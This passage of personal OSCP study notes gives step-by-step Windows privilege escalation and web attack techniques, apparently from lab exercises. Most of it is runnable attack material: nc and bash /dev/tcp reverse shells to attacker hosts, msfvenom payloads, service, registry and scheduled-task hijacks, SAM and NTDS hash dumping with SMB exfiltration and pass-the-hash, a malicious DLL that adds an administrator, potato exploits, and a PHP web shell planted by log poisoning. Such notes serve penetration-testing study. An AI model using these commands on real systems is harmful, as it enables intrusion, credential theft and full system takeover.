Get-CimInstance -ClassName win32_service | Select Name, StartMode | Where-Object {$_.Name -like 'mysql'}

In, order to reboot we must have SeShutdownPrivilege {can check by whoami /priv}

shutdown /r /t 0

after this check whether our script worked by checking members of admin group by this cmd: {you should see your created user:->}

Get-LocalGroupMember "Administrators"

Login via runas or open cmd prompt as administrator and use your created uname and pass ;)))

FOR AUTOMATION we can use Powerup.ps1 !!!

https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1

. .\PowerUp.ps1

Get-ModifiableServiceFile {This function displays services the current user can modify, such as the service binary or configuration files.}

#SCHEDULED TASKS

To retrieve detailed information about any of the services, you can use a command like the following one:

schtasks /?

schtasks /query /fo LIST /v {detailed list of all apps}

or

C:\> schtasks /query /tn <vulntaskname> /fo list /v {Detailed list of one app you know the name of }

To check the file permissions on the executable, we use icacls:

icacls c:\tasks\schtask.bat

If builtin usrs has the full access then use this cmd:

echo c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 4444 > C:\tasks\schtask.bat and start a listener on ur side

schtasks /run /tn vulntask -- can only use if you have the perm but in real world you won't be having it

View the contents of the C:\DevTools\CleanUp.ps1 script:

type C:\DevTools\CleanUp.ps1

The script seems to be running as SYSTEM every minute. Using accesschk.exe, note that you have the ability to write to this file:

C:\PrivEsc\accesschk.exe /accepteula -quvw user C:\DevTools\CleanUp.ps1

Start a listener on Kali and then append a line to the C:\DevTools\CleanUp.ps1 which runs the reverse.exe executable you created:

echo C:\PrivEsc\reverse.exe >> C:\DevTools\CleanUp.ps1

Wait for the Scheduled Task to run, which should trigger the reverse shell as SYSTEM.

ALTERNATIVES

List all scheduled tasks your user can see:

> schtasks /query /fo LIST /v

In PowerShell:

PS> Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State

Often we have to rely on other clues, such as finding a script or log file that indicates a scheduled task is being run.

In the C:\DevTools directory, there is a PowerShell script called “CleanUp.ps1”. View the script:

> type C:\DevTools\CleanUp.ps1

2. This script seems like it is running every minute as the SYSTEM user. We can check our privileges on this script using accesschk.exe:

OSCP Page 49
2. This script seems like it is running every minute as the SYSTEM user. We can check our privileges on this script using accesschk.exe:

> C:\PrivEsc\accesschk.exe /accepteula -quvw user C:\DevTools\CleanUp.ps1


It appears we have the ability to write to this file.

3. Backup the script:

> copy C:\DevTools\CleanUp.ps1 C:\Temp\

4. Start a listener on Kali.

5. Use echo to append a call to our reverse shell executable to the end of the script:

> echo C:\PrivEsc\reverse.exe >>

C:\DevTools\CleanUp.ps1

6. Wait for the scheduled task to run (it should run every minute) to complete the
exploit.

#ABUSING SERVICE MISCONFIGURATIONS

Identifying Service Configuration:

sc qc WindowsScheduler
It shows that the service runs as svcuser1, and the associated executable is C:\PROGRA~2\SYSTEM~1\WService.exe

Query the configuration of a service:

sc.exe qc <name>

Query the current status of a service:

sc.exe query <name>

Modify a configuration option of a service:

sc.exe config <name> <option>= <value>

Start/Stop a service:

net start/stop <name>

icacls C:\PROGRA~2\SYSTEM~1\WService.exe -- for checking the perms

It reveals that the Everyone group has modify permissions (M) on the executable, allowing anyone to modify it.

We then generate a payload is msfvenom

msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4445 -f exe-service -o rev-svc.exe

-f exe-service: This flag specifies the output format of the payload. exe-service indicates that the output will be an executable file that can be used as a Windows service.

-o rev-svc.exe: This specifies the output file name. The payload generated by msfvenom will be saved in a file named rev-svc.exe.

Start a http server on your machine and wget the file in the attacker machine from ps by:

Wget http:<ip>:<p>/rev-svc.exe -o rev-svc.exe

curl -O http://linux_machine_ip:8000/file_name.extension -o destination_file_name.extension -- to get file from lin to win

move WService.exe WService.exe.bkp -- replaces .exe file to an .bkp file in the destination

C:\PROGRA~2\SYSTEM~1> move C:\Users\thm-unpriv\rev-svc.exe WService.exe -- replaces rev-svc.exe to Wservice.exe name which we want in destination.

C:\PROGRA~2\SYSTEM~1> icacls WService.exe /grant Everyone:F -- gives our file the perm fully

sc stop windowsscheduler

sc start windowsscheduler -- it will then start services which will start the respective exes and we will get shell on our listener

If our user has permission to change the configuration of a service which runs with SYSTEM privileges, we can change the executable the service uses to one of our own.

Potential Rabbit Hole: If you can change a service configuration but cannot stop/start the service, you may not be able to escalate privileges!

#ABUSING UNQUOTED SERVICE PATHS

Understanding Unquoted Service Paths:

Services sometimes have unquoted paths for their executables Example:

OSCP Page 50
Services sometimes have unquoted paths for their executables Example:
A service with a properly quoted path: C:\Program Files\RealVNC\VNC Server\vncserver.exe.
A service with an unquoted path: C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe.
Unquoted paths containing spaces might lead to ambiguous command interpretation.

wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\Windows\\" | findstr /i /v """ {-- search for all unquoted services you can exploit}

Service Behavior with Unquoted Paths:

When the service is executed with an unquoted path containing spaces, the system searches for various executable paths.
The search sequence:
Search for C:\MyPrograms\Disk.exe.
If not found, search for C:\MyPrograms\Disk Sorter.exe.
If not found, search for the actual service path: C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe.

If an attacker can create executables that match the searched paths, they can force the service to execute their malicious code.

The C:\MyPrograms directory inherits permissions from the C:\ directory, allowing users to create files and folders.
Payload Creation and Execution:

icacls c:\MyPrograms -- it shows it's under C: so it inherits perms of C: and any user can modify and create folders

Will use same payload rev-svc.exe.

move C:\Users\thm-unpriv\rev-svc.exe C:\MyPrograms\Disk.exe -- this will again replace and rename disk.exe to our payload name.
icacls C:\MyPrograms\Disk.exe /grant Everyone:F

sc stop "disk sorter enterprise"


sc start "disk sorter enterprise"

U got the shell ….

sc qc unquotedsvc

Using accesschk.exe, note that the BUILTIN\Users group is allowed to write to the C:\Program Files\Unquoted Path Service\ directory:

C:\PrivEsc\accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service\" --else icacls "C:/Program Files/Unquoted Path Service/"

copy C:\PrivEsc\reverse.exe "C:\Program Files\Unquoted Path Service\Common.exe" -- start a listener before this and boom

Alternative for this is as follows:


Kali VM

1. Open command prompt and type: msfvenom -p windows/exec CMD='net localgroup administrators user /add' -f exe-service -o common.exe
2. Copy the generated file, common.exe, to the Windows VM.

Windows VM
1. Place common.exe in ‘C:\Program Files\Unquoted Path Service’.
2. Open command prompt and type: sc start unquotedsvc
3. It is possible to confirm that the user was added to the local administrators group by typing the following in the command prompt: net localgroup administrators

ANOTHER METHOD FOR SAME:->>>>>

wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\Windows\\" | findstr /i /v """

with the above cmd you'll get exploitable services with spaces to abuse along with path

unquoted service binary path C:\Program Files\My Program\My Service\service.exe. When Windows starts service, it will use the below order to start the executable file due to the spaces in the path.

now check the permissions on the dir and sub-dir of that path to see which dir is writable:->

icacls "C:\"

icacls "C:\Program Files"

icacls "C:\Program Files\Enterprise Apps"

let's suppose you have write perm on 3rd one from the list so now you have to check if you can start and stop the service or not by the below cmd:-

Start-Service Vulnservice

Stop-Service Vulnservice

If yes great you can copy our appuser.exe file from kali and save it as first name of a file with .exe in that dir

OSCP Page 51
If yes great you can copy our appuser.exe file from kali and save it as first name of a file with .exe in that dir

copy .\Current.exe 'C:\Program Files\Enterprise Apps\Anyname.exe'

Start the service and > BOOM!! login as the new user you created {check it by net user;)}

#INSECURE SERVICE PERMISSIONS

Checking Service DACL (Discretionary Access Control List):

Using AccessChk from the Sysinternals suite the service DACL for the thmservice is check

C:\tools\AccessChk> accesschk64.exe -qlc thmservice

The result displays the access control entries for the service:
NT AUTHORITY\SYSTEM: Grants specific service-related permissions.
BUILTIN\Users: Has SERVICE_ALL_ACCESS permission, allowing complete service reconfiguration.

So we will use the same revshell payload

icacls C:\Users\thm-unpriv\rev-svc3.exe /grant Everyone:F -- we will give perms too to our payload so that ot can be executed by an service

sc config THMService binPath= "C:\Users\thm-unpriv\rev-svc3.exe" obj= LocalSystem

-sc: This is the Windows Service Control command-line utility used to communicate with the Service Control Manager (SCM) and services.
-config: Indicates that we want to change the configuration settings of a specific service.
-THMService: Represents the name of the target service whose configuration we want to modify. Replace "THMService" with the actual service name.
-binPath=: Specifies the new binary path for the service executable. In this case, it's set to C:\Users\thm-unpriv\rev-svc3.exe. This command changes the service's executable to the specified file (rev-svc3.exe
in this directory).
-obj= LocalSystem: Sets the service's execution context to LocalSystem, which is a highly privileged built-in account in Windows with extensive system rights.

And alternative is this

In command prompt type: sc config daclsvc binpath= "net localgroup administrators user /add"
2. In command prompt type: sc start daclsvc
3. It is possible to confirm that the user was added to the local administrators group by typing the following in the command prompt: net localgroup administrators

sc stop THMService
sc start THMService

You're in

Query the "regsvc" service and note that it runs with SYSTEM privileges (SERVICE_START_NAME).

sc qc regsvc

Using accesschk.exe, note that the registry entry for the regsvc service is writable by the "NT AUTHORITY\INTERACTIVE" group (essentially all logged-on users):

C:\PrivEsc\accesschk.exe /accepteula -uvwqk HKLM\System\CurrentControlSet\Services\regsvc

also check the current values in the registry entry

reg query HKLM\SYSTEM\CurrentControlSet\Services\regsvc

Overwrite the ImagePath registry key to point to the reverse.exe executable you created:

reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d C:\PrivEsc\reverse.exe /f

Start a listener on Kali and then start the service to spawn a reverse shell running with SYSTEM privileges:

net start regsvc

Query the "filepermsvc" service and note that it runs with SYSTEM privileges (SERVICE_START_NAME).

sc qc filepermsvc

Using accesschk.exe, note that the service binary (BINARY_PATH_NAME) file is writable by everyone:

C:\PrivEsc\accesschk.exe /accepteula -quvw "C:\Program Files\File Permissions Service\filepermservice.exe"

also check if we can start or stop the service by us or not by using this cmd:

.\accesschk.exe /accepteula -uvqc filepermsvc

Copy the reverse.exe executable you created and replace the filepermservice.exe with it:

copy C:\PrivEsc\reverse.exe "C:\Program Files\File Permissions Service\filepermservice.exe" /Y

Start a listener on Kali and then start the service to spawn a reverse shell running with SYSTEM privileges:

net start filepermsvc

#WEAK REGISTRY PERMS EXPLOIT:

OSCP Page 52
Privilege Escalation

1. Run winPEAS to check for service misconfigurations:

> .\winPEASany.exe quiet servicesinfo

2. Note that the “regsvc” service has a weak registry entry. We can confirm this with

PowerShell: PS> Get-Acl HKLM:\System\CurrentControlSet\Services\regsvc | Format-List

3. Alternatively accesschk.exe can be used to confirm:

> .\accesschk.exe /accepteula -uvwqk HKLM\System\CurrentControlSet\Services\regsvc

4. Overwrite the ImagePath registry key to point to our reverse shell


executable:

> reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d C:\PrivEsc\reverse.exe /f

5. Start a listener on Kali, and then start the service to trigger the exploit:

> net start regsvc

#Privilege Escalation with WinPEAS


1. Run winPEAS to check for service misconfigurations: > .\winPEASany.exe quiet servicesinfo

2. Note that we can modify the “daclsvc” service.

3. We can confirm this with accesschk.exe: > .\accesschk.exe /accepteula -uwcqv user daclsvc

4. Check the current configuration of the service: > sc qc daclsvc

5. Check the current status of the service:

sc query daclsvc

6. Reconfigure the service to use our reverse shell executable:

sc config daclsvc binpath= "\"C:\PrivEsc\reverse.exe\""

7. Start a listener on Kali, and then start the service to trigger the

exploit:
net start daclsvc

#ABUSING DANGEROUS PRIVILEGES - SeBackup/SeRestore

Whoami /priv

To backup the SAM and SYSTEM hashes, we can use the following commands:

reg save hklm\system C:\Users\THMBackup\system.hive

C:\> reg save hklm\sam C:\Users\THMBackup\sam.hive

This will create a couple of files with the registry hives content. We can now copy these files to our attacker machine using SMB or any other available method. For SMB, we can use impacket's smbserver.py
to start a simple SMB server with a network share in the current directory of our AttackBox:

Impacket-smbserver.py -smb2support -username THMBackup -password CopyMaster555 public share

This will create a share named public pointing to the share directory, which requires the username and password of our current windows session. After this, we can use the copy command in our windows
machine to transfer both files to our AttackBox:

C:\> copy C:\Users\THMBackup\sam.hive \\ATTACKER_IP\public\


C:\> copy C:\Users\THMBackup\system.hive \\ATTACKER_IP\public\

Now use secretsdump.py to extract the hashes using:

Impacket-secretsdump -sam sam.hive -system system.hive LOCAL

Now for pass the hash use this:

Psexec.py <uname>@<ip> -hashes <full> or try else

BEST ALTERNATIVE IF ABOVE DON'T WORK:->>>>>

now we just need to import sam and system hives (but for this one system is enough):

reg save hklm\sam C:\Temp\system

reg save hklm\system C:\Temp\system

or use reg.exe

OSCP Page 53
C:\Windows\NTDS\ntds.dit

now download ntds.dit and system on your machine and use this cmd to extract and dump the hashes :

impacket-secretsdump -ntds ntds.dit -system system local

evil-winrm -i 10.10.10.192 -u administrator -H 184fb5e5178480be64824d4cd53b99ee

#ABUSING DANGEROUS PRIVILEGES - SeTakeOwnership

Whoami /priv as always

We'll abuse utilman.exe to escalate privileges this time. Utilman is a built-in Windows application used to provide Ease of Access options during the lock screen:

Since Utilman is run with SYSTEM privileges, we will effectively gain SYSTEM privileges if we replace the original binary for any payload we like. As we can take ownership of any file, replacing it is trivial.

C:\> takeown /f C:\Windows\System32\Utilman.exe

Notice that being the owner of a file doesn't necessarily mean that you have privileges over it, but being the owner you can assign yourself any privileges you need. To give your user full permissions over
utilman.exe

icacls C:\Windows\System32\Utilman.exe /grant THMTakeOwnership:F

After this, we will replace utilman.exe with a copy of cmd.exe:

Command Prompt
C:\Windows\System32\> copy cmd.exe utilman.exe

Now when we lockout the screen and click on ease of access it will pop a cmd prompt with shell as we replaces Ultiman.exe with cmd.exe

#ABUSING DANGEROUS PRIVILEGES - SeImpersonate/SeAssignPrimaryToken

Impersonation and its Role in FTP Services:


Impersonation in FTP servers is crucial to restrict users' file access to only their authorized files.
Without impersonation, the FTP service would access files using its own permissions, causing limitations:
File access would require specific permissions for each user, complicating configurations.
The operating system would treat all files as accessed by the FTP user, disregarding user logins.
Compromise of the FTP service could grant immediate access to all FTP user files.

Simplified File Access with Impersonation Privileges with SeImpersonate or SeAssignPrimaryToken privileges:

The FTP service can temporarily acquire a user's access token during their session.
This enables the service to access files as that user, reducing the need for explicit file permissions.
Operating system authorization handles access, limiting FTP service access to the authenticated user's files.

Whoami /priv

Privileged Accounts with SeImpersonate and SeAssignPrimaryToken:


Accounts like LOCAL SERVICE and NETWORK SERVICE typically possess these privileges.
These accounts, used to run services, may need to impersonate connecting users for specific functionalities.
Services like Internet Information Services (IIS) create default accounts (iis apppool\defaultapppool) with similar privileges for web applications.
Exploiting RogueWinRM:

RogueWinRM leverages the BITS (Background Intelligent Transfer Service) service in Windows.
When the BITS service starts, it establishes a connection to port 5985 using SYSTEM privileges, often used by WinRM (Powershell console).
An attacker, leveraging SeImpersonate, can mimic WinRM on port 5985, capturing authentication attempts by BITS service, executing commands as SYSTEM.

We will do it by this cmd: and before that start a listener on machine and do wait for a min or 2 to get a shell:

c:\tools\RogueWinRM\RogueWinRM.exe -p "C:\tools\nc64.exe" -a "-e cmd.exe ATTACKER_IP 4442"

Another trick for potato

Set up a socat redirector on Kali, forwarding Kali port 135 to port 9999 on Windows:

sudo socat tcp-listen:135,reuseaddr,fork tcp:10.10.239.91:9999

Start a listener on Kali. Simulate getting a service account shell by logging into RDP as the admin user, starting an elevated command prompt (right-click -> run as administrator) and using PSExec64.exe to
trigger the reverse.exe executable you created with the permissions of the "local service" account:

C:\PrivEsc\PSExec64.exe -i -u "nt authority\local service" C:\PrivEsc\reverse.exe

Start another listener on Kali.

Now, in the "local service" reverse shell you triggered, run the RoguePotato exploit to trigger a second reverse shell running with SYSTEM privileges (update the IP address with your Kali IP accordingly):

OSCP Page 54
C:\PrivEsc\RoguePotato.exe -r 10.10.10.10 -e "C:\PrivEsc\reverse.exe" -l 9999

Another for print spoofer

Start a listener on Kali. Simulate getting a service account shell by logging into RDP as the admin user, starting an elevated command prompt (right-click -> run as administrator) and using PSExec64.exe to
trigger the reverse.exe executable you created with the permissions of the "local service" account:

C:\PrivEsc\PSExec64.exe -i -u "nt authority\local service" C:\PrivEsc\reverse.exe

Start another listener on Kali.

Now, in the "local service" reverse shell you triggered, run the PrintSpoofer exploit to trigger a second reverse shell running with SYSTEM privileges (update the IP address with your Kali IP accordingly):

C:\PrivEsc\PrintSpoofer.exe -c "C:\PrivEsc\reverse.exe" -i

#REGISTRY - AUTORUNS

Query the registry for AutoRun executables:

reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Using accesschk.exe, note that one of the AutoRun executables is writable by everyone:

C:\PrivEsc\accesschk.exe /accepteula -wvu "C:\Program Files\Autorun Program\program.exe"

-u (User): Specifies the user account or SID for which you want to check permissions.
-w (Write): Lists objects for which the specified user has write access.
-d (Delete): Lists objects for which the specified user has delete access.
-q (Query): Suppresses banner information and column headers when displaying results.
-v (Verbose): Shows detailed information about each object, including the ACL.
-l (Literal name): Treats command-line arguments as literal names even if they resemble user/group names.
-c (CSV): Formats output as comma-separated values.
-k (Keyword): Shows information in a keyword=value format.
-v (Verbose): Shows detailed information about each object, including the ACL.

Copy the reverse.exe executable you created and overwrite the AutoRun executable with it:

copy C:\PrivEsc\reverse.exe "C:\Program Files\Autorun Program\program.exe" /Y

copy /Y C:\PrivEsc\reverse.exe "C:\Program Files\Autorun Program\program.exe"

Start a listener on Kali and then restart the Windows VM. Open up a new RDP session to trigger a reverse shell running with admin privileges. You should not have to authenticate to trigger it, however if the
payload does not fire, log in as an admin (admin/password123) to trigger it. Note that in a real world engagement, you would have to wait for an administrator to log in themselves!

rdesktop 10.10.194.11 or xfreerdp

#REGISTRY - ALWAYSINSTALLELEVATED

Query the registry for AlwaysInstallElevated keys:

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated


reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Note that both keys are set to 1 (0x1).

On Kali, generate a reverse shell Windows Installer (reverse.msi) using msfvenom. Update the LHOST IP address accordingly:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=53 -f msi -o reverse.msi

Transfer the reverse.msi file to the C:\PrivEsc directory on Windows (use the SMB server method from earlier).

Start a listener on Kali and then run the installer to trigger a reverse shell running with SYSTEM privileges:

msiexec /quiet /qn /i C:\PrivEsc\reverse.msi

#REGISTRY HIVES:

HKEY_CLASSES_ROOT (HKCR): Contains file association and COM object registration information, dictating which programs are opened to handle specific file
types or protocols.
HKEY_CURRENT_USER Stores settings specific to the currently logged-in user, such as desktop background, screen saver, and application settings.

OSCP Page 55
HKEY_CURRENT_USER Stores settings specific to the currently logged-in user, such as desktop background, screen saver, and application settings.
(HKCU):
HKEY_LOCAL_MACHINE Contains settings that are global to all users on the computer, including hardware settings and software information.
(HKLM):
HKEY_USERS (HKU): Holds user profile information for all users who have logged onto the system.
HKEY_CURRENT_CONFIG Contains information about the current hardware profile of the system.
(HKCC):

REGISTRY HIVE SUPPORTING FILES


HKEY_CURRENT_CONFIG System, System.alt, System.log, System.sav
HKEY_CURRENT_USER Ntuser.dat, Ntuser.dat.log
HKEY_LOCAL_MACHINE\SAM Sam, Sam.log, Sam.sav
HKEY_LOCAL_MACHINE\Security Security, Security.log, Security.sav
HKEY_LOCAL_MACHINE\Software Software, Software.log, Software.sav
HKEY_LOCAL_MACHINE\System System, System.alt, System.log, System.sav
HKEY_USERS\.DEFAULT Default, Default.log, Default.sav

The Windows Registry has special spots called "Run" and "RunOnce" keys. Think of them as the computer's to-do list for when you log in. Here's how they work:

What Are They? "Run" and "RunOnce" keys are like instructions telling your computer, "Hey, please start these programs when the user logs in."

Where Are They? There are two main places for these keys:

For all users on the computer, under HKEY_LOCAL_MACHINE (often abbreviated as HKLM).
Just for the currently logged-in user, under HKEY_CURRENT_USER (or HKCU).
Specifically, you can find them here:

HKLM\Software\Microsoft\Windows\CurrentVersion\Run

HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce

HKCU\Software\Microsoft\Windows\CurrentVersion\Run

HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce

Run: If a program is listed here, it starts every time you log in.

RunOnce: Programs listed here start only once. After they run, the computer deletes them from the list. It's like saying, "Remind me to do this the next time I log
in, but just once."

# EXTRAS

winpeas

Before running, we need to add a registry key and then reopen the
command prompt:

> reg add HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1

Run all checks while avoiding time-consuming searches:

> .\winPEASany.exe quiet cmd fast

Run specific check categories:

> .\winPEASany.exe quiet cmd systeminf

Juicy Potato -- more on https://lojique.gitbook.io/wiki/red-team/exploitation/juicy-potato

OSCP Page 56
Juicy Potato -- more on https://lojique.gitbook.io/wiki/red-team/exploitation/juicy-potato
Rotten Potato was quite a limited exploit. Juicy Potato works in the same way as Rotten Potato, but the authors did extensive research and found many
more ways to exploit.

https://github.com/ohpe/juicy-potato

(Note: These steps are for Windows 7)


1. Copy PSExec64.exe and the JuicyPotato.exe exploit executable over to
Windows.

2. Start a listener on Kali.

3. Using an administrator command prompt, use PSExec64.exe to trigger a


reverse shell running as the Local Service service account:

> C:\PrivEsc\PSExec64.exe -i -u "nt authority\local service" C:\PrivEsc\reverse.exe

4. Start another listener on Kali.

5. Now run the JuicyPotato exploit to trigger a reverse shell running with SYSTEM privileges:

> C:\PrivEsc\JuicyPotato.exe -l 1337 -p C:\PrivEsc\reverse.exe -t * -c {03ca98d6-ff5d-49b8-abc6-03dd84127020}

6. If the CLSID ({03ca…) doesn’t work for you, either check this list:

https://github.com/ohpe/juicy-potato/blob/master/CLSID/README.md

or run the GetCLSID.ps1 PowerShell script.

Hot Potato

.\potato.exe -ip <tgtip> -cmd "C:\PrivEsc\Reverse.exe" -enable_http server true -enable_defender true -enable_spoof true -enable_exhaust true

start a listener on 53 before the above cmd

and boom but it's limited to win7 ,8 and early 10's.

# DLL-HIJACKING

A more common misconfiguration that can be used to escalate privileges is if a DLL is missing from the system, and our user has write access to a directory within the PATH that Windows searches for
DLLs in. Unfortunately, initial detection of vulnerable services is difficult, and often the entire process is very manual

Privilege Escalation
1. Use winPEAS to enumerate non-Windows services:

> .\winPEASany.exe quiet servicesinfo

2. Note that the C:\Temp directory is writable and in the PATH. Start by enumerating which of these services our user has stop and start access to:

> .\accesschk.exe /accepteula -uvqc user dllsvc

3. The “dllsvc” service is vulnerable to DLL Hijacking. According to the winPEAS output, the service runs the dllhijackservice.exe executable. We can confirm this manually:

> sc qc dllsvc

4. Run Procmon64.exe with administrator privileges. Press Ctrl+L to open the Filter menu.

5. Add a new filter on the Process Name matching dllhijackservice.exe.

6. On the main screen, deselect registry activity and network activity

7. Start the service:

> net start dllsvc

8. Back in Procmon, note that a number of “NAME NOT FOUND” errors appear, associated with the hijackme.dll file.

9. At some point, Windows tries to find the file in the C:\Temp


directory, which as we found earlier, is writable by our user.

10. On Kali, generate a reverse shell DLL named hijackme.dll:

# msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.11 LPORT=53 -f dll -o hijackme.dll

11. Copy the DLL to the Windows VM and into the C:\Temp directory. Start a listener on Kali and then stop/start the service to trigger the exploit:

> net stop dllsvc

> net start dllsvc

Other Method for dll-hijacking :------->

Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'}

OSCP Page 57
open or import procmon.exe in the target and open it {you need to have admin creds to do that ;((}

go to filter and choose process name > is > (vulnserv.exe) > include >> now click on add and apply it

it will be empty but to capture new requests run the below cmd and you'll see a large output :->

PS C:\Users\<uname>> Restart-Service VulnService:)

now manually go through the output and you may find that this service tries to open a file named hellu.dll from various locations but name is not found and is looking first on documents dir of our user:)

so it's writable so now we will create a malicious dll file and put it in our documents dir, we will make a dll in which we will be adding our user to administrators group;) {below is the code}

#include <stdlib.h>
#include <windows.h>

BOOL APIENTRY DllMain(


HANDLE hModule,// Handle to DLL module
DWORD ul_reason_for_call,// Reason for calling function
LPVOID lpReserved ) // Reserved
{
switch ( ul_reason_for_call )
{
case DLL_PROCESS_ATTACH: // A process is loading the DLL.
int i;
i = system ("net user dave2 password123! /add");
i = system ("net localgroup administrators dave2 /add");
break;
case DLL_THREAD_ATTACH: // A process is creating a new thread.
break;
case DLL_THREAD_DETACH: // A thread exits normally.
break;
case DLL_PROCESS_DETACH: // A process unloads the DLL.
break;
}
return TRUE;
}

save it as hellu.cpp and then we need to cross-compile it to make it a working dll by using mingw

x86_64-w64-mingw32-gcc hellu.cpp --shared -o hellu.dll

import it to documents dir of our user and restart the service to see our user in the administrators group;))

Restart-Service BetaService

BOOM!! login as the created user and grab the flag already

# PASSWORD MINING - MEMORY


Kali VM

1.Open command prompt and type: msfconsole


2.In Metasploit (msf > prompt) type: use auxiliary/server/capture/http_basic
3.In Metasploit (msf > prompt) type: set uripath x
4.In Metasploit (msf > prompt) type: run

Windows VM

1.Open Internet Explorer and browse to: http://[Kali VM IP Address]/x


2.Open command prompt and type: taskmgr
3.In Windows Task Manager, right-click on the “iexplore.exe” in the “Image Name” columnand select “Create Dump File” from the popup menu.
4.Copy the generated file, iexplore.DMP, to the Kali VM.

Kali VM

1.Place ‘iexplore.DMP’ on the desktop.


2.Open command prompt and type: strings /root/Desktop/iexplore.DMP | grep "Authorization: Basic"
3.Select the Copy the Base64 encoded string.
4.In command prompt type: echo -ne [Base64 String] | base64 -d
5.Notice the credentials in the output.

OSCP Page 58
OSCP Page 59
WEB
Friday, January 5, 2024 6:44 PM

#DIRECTORY TRAVERSAL
For example, if we find the following link, we can extract vital information from it.

https: //test.com/hellu/login.php?language=en.html
First, login.php tells us the web application uses PHP. We can use this information to develop assumptions about how the web application works, which is helpful for the exploitation phase.

Second, the URL contains a language parameter with an HTML page as its value. In a situation like this, we should try to navi gate to the file directly (https://test.com/hellu/en.html). If we can successfully open it,
we can confirm that en.html is a file on the server, meaning we can use this parameter to try other file names. We should alw ays examine parameters closely when they use files as a value.

Third, the URL contains a directory called hellu. This is important information indicating that the web application is running in a subdirectory of the web root.

GET /hellu/index.php?page=../../../../../../../../etc/passwd HTTP/1.1 (for linux )

curl --path-as-is http ://<ip>:3000/public/plugins/alertlist/../../../../../../../../../Users/desktop/flag.txt (for win) {do test for ../ & ..\}

ssh -i hi_key -p ____ <user@domain.com> {don't forget to chmod 600 the key}

curl http ://192.168.243.16/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/opt/passwords (url -encode when apache has version lower than 2.4.49)

Instead of using `../` directly, you can URL encode it as `%2e%2e%2f` and provide it in the input field or URL parameter.

Sometimes it doesn't show if we try path, then we need to encode them


curl http ://192.168.50.16/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

cat /etc/passwd #displaying content through absolute path


cat ../../../etc/passwd #relative path

# if the pwd is /var/log/ then in order to view the /etc/passwd it will be like this
cat ../../etc/passwd

#In web int should be exploited like this, find a parameters and test it out
http:// test.com/hellu/index.php?page=../../../../../../../../../etc/passwd
#check for id_rsa, id_ecdsa
#If the output is not getting formatted properly then,
curl http ://test.com/hellu/index.php?page=../../../../../../../../../etc/passwd

#For windows :-
===============
http ://<ip>:3000/public/plugins/alertlist/../../../../../../../../Users/install.txt #no need to provide drive
Check-out `PEN-200 9.1.2 Task 2

curl --path-as-is "http ://$ip:3000/public/plugins/welcome/../../../../../../../../../../../../../../../Users/install.txt" -v –proxy 127.0.0.1:8080 (this last line is not required at all)

#FILE INCLUSION (LFI)

[Sushant747 Notes about LFI : Don't miss anything which is useful] https://sushant747.gitbooks.io/total-oscp-guide/content/local_file_inclusion.html
[HackTricks LFI + All tricks} https://book.hacktricks.xyz/pentesting-web/file-inclusion
[All possible cheatsheet : Hacktricks payloads] https://github.com/carlospolop/hacktricks/tree/master/pentesting -web/file-inclusion

PHP Functions (LFI/RFI Vulnerabilities):-


==========================================
include()
require()
include_once()
require_once()
file_get_contents()
readfile()
fopen(), fclose(), fgets(), fread(), etc.
====
exec(), system(), shell_exec(), passthru(), etc. (for RFI)
====

Other Languages (RFI Vulnerabilities): -


========================================
Python: exec()
Ruby: load()
Java: ClassLoader

In the following example, we will try to write executable code to Apache's access.log file in the /var/log/apache2/ directory . We'll first need to review what information is controlled by us and saved by Apache in
the related log. In this case, "controlled" means that we can modify the information before we send it to the web application . We can either read the Apache web server2 documentation or display the file via

OSCP Page 60
the related log. In this case, "controlled" means that we can modify the information before we send it to the web application . We can either read the Apache web server2 documentation or display the file via
LFI.

Let's use curl to analyze which elements comprise a log entry by displaying the file access.log using the previously -found directory traversal vulnerability. This means we'll use the relative path of the log file in the
vulnerable "page" parameter in the "Mountain Desserts" web application.

kali@kali:~$ curl http:// hellu.com/test/index.php?page=../../../../../../../../../var/log/apache2/access.log


...
"GET /test/index.php?page=admin.php HTTP/1.1" 200 2218 "-" "Mozilla/4.0 (X11; Linux x86_64; rv:89.9).

above message shows that the User Agent is included in the log entry. Before we send a request, we can modify the User Agent in Burp and specify what will be written to the access.log file and can poison the
access.log files via the user agent by using this simple cmd:

Mozilla/4.0 <?php echo system($_GET['cmd']); ?>

now check t if you have poisoned the file by this cmd which will list all the files or dirs in the pwd: (for linux)

once we see it works we can attempt to get an easy rev-shell on the same by using a simple cmd :

bash -c "bash -i >& /dev/tcp/<your ip>/<p> 0>&1" {don't forget to url encode :))}
and BOOM you got the shell

If the Apache or Nginx server is vulnerable to LFI inside the include function you could try to access to `/var/log/apache2/access.log` or `/var/log/nginx/access.log`, set inside the user agent or inside a GET
parameter a php shell like `<?php system($_GET['cmd']); ?>` or `<?php passthru($_GET['cmd']); ?> `and include that file.

So, once you have found a LFI vuln you have to inject php-code into the log file and then execute it.

For Poisoning the access.log log in the XAMPP C:\xampp\apache\logs log directory we can simply poison it in the same user-agent and for reading the files we can use below cmd:->

